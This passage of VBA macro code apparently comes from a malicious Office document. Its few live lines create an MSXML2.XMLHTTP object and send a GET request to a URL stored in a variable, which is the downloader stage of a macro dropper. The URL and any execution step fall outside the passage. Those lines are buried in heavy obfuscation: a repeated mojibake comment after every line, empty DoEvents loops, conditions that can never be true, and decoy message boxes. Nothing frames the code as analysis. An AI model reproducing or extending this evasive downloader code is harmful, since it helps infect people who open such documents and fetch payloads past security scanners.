- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("kraivfKU45")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If Len("jjjqrgVW7899") = Len("AGkUtrJk") Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim QCBUbMUw As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim FLyqeBVs As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For FLyqeBVs = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next FLyqeBVs
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- QCBUbMUw = 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While QCBUbMUw < 22
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim jRJlFcHV As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For jRJlFcHV = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next jRJlFcHV
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: QCBUbMUw = QCBUbMUw + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim jnqGYkJL As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For jnqGYkJL = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next jnqGYkJL
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim HTdOaMLQ As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For HTdOaMLQ = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next HTdOaMLQ
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("Error !!!")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim mJbTodjr As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim XBtfJLFh As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For XBtfJLFh = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next XBtfJLFh
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- mJbTodjr = 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While mJbTodjr < 81
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim vSEEHhke As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For vSEEHhke = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next vSEEHhke
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: mJbTodjr = mJbTodjr + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim BUvBgKXD As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For BUvBgKXD = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next BUvBgKXD
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim DBbKGCSB As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For DBbKGCSB = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next DBbKGCSB
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Set RNNVUWVLESY = CreateObject("MSXML2.XMLHTTP")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- RNNVUWVLESY.Open "GET", TWTUFQULVUY, False
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 295453 = 295453 + 1 Then End
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 6516 < 99 Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim wDDDCpIP As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim xWKmgzYS As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For xWKmgzYS = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next xWKmgzYS
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- wDDDCpIP = 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While wDDDCpIP < 52
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim cHsWJeEa As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For cHsWJeEa = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next cHsWJeEa
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: wDDDCpIP = wDDDCpIP + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim vSTlPCRX As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For vSTlPCRX = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next vSTlPCRX
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim AlfDmysR As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For AlfDmysR = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next AlfDmysR
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("IIuQRXhv71")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If Len("CaVTkUaX4563") = Len("GOrPUGyQ") Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim vxupHaMF As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim CLbJWdHL As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For CLbJWdHL = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next CLbJWdHL
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- vxupHaMF = 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While vxupHaMF < 97
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim NnyjlyjX As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For NnyjlyjX = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next NnyjlyjX
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: vxupHaMF = vxupHaMF + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim daKwgXcW As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For daKwgXcW = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next daKwgXcW
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim EidJoDho As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For EidJoDho = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next EidJoDho
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("Error !!!")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim ijUublRx As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim OxvLLspP As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For OxvLLspP = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next OxvLLspP
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- ijUublRx = 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While ijUublRx < 66
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim AhYgrheX As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For AhYgrheX = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next AhYgrheX
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: ijUublRx = ijUublRx + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim GGklVtpW As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For GGklVtpW = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next GGklVtpW
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim UUnQmcpS As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For UUnQmcpS = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next UUnQmcpS
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- RNNVUWVLESY.Send "cdgdf"
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 513245 = 513245 + 1 Then End
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 8859 < 75 Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim xQXrxhZq As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim OZWgwsff As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For OZWgwsff = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next OZWgwsff
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- xQXrxhZq = 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While xQXrxhZq < 27
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim fBWhgKHl As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For fBWhgKHl = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next fBWhgKHl
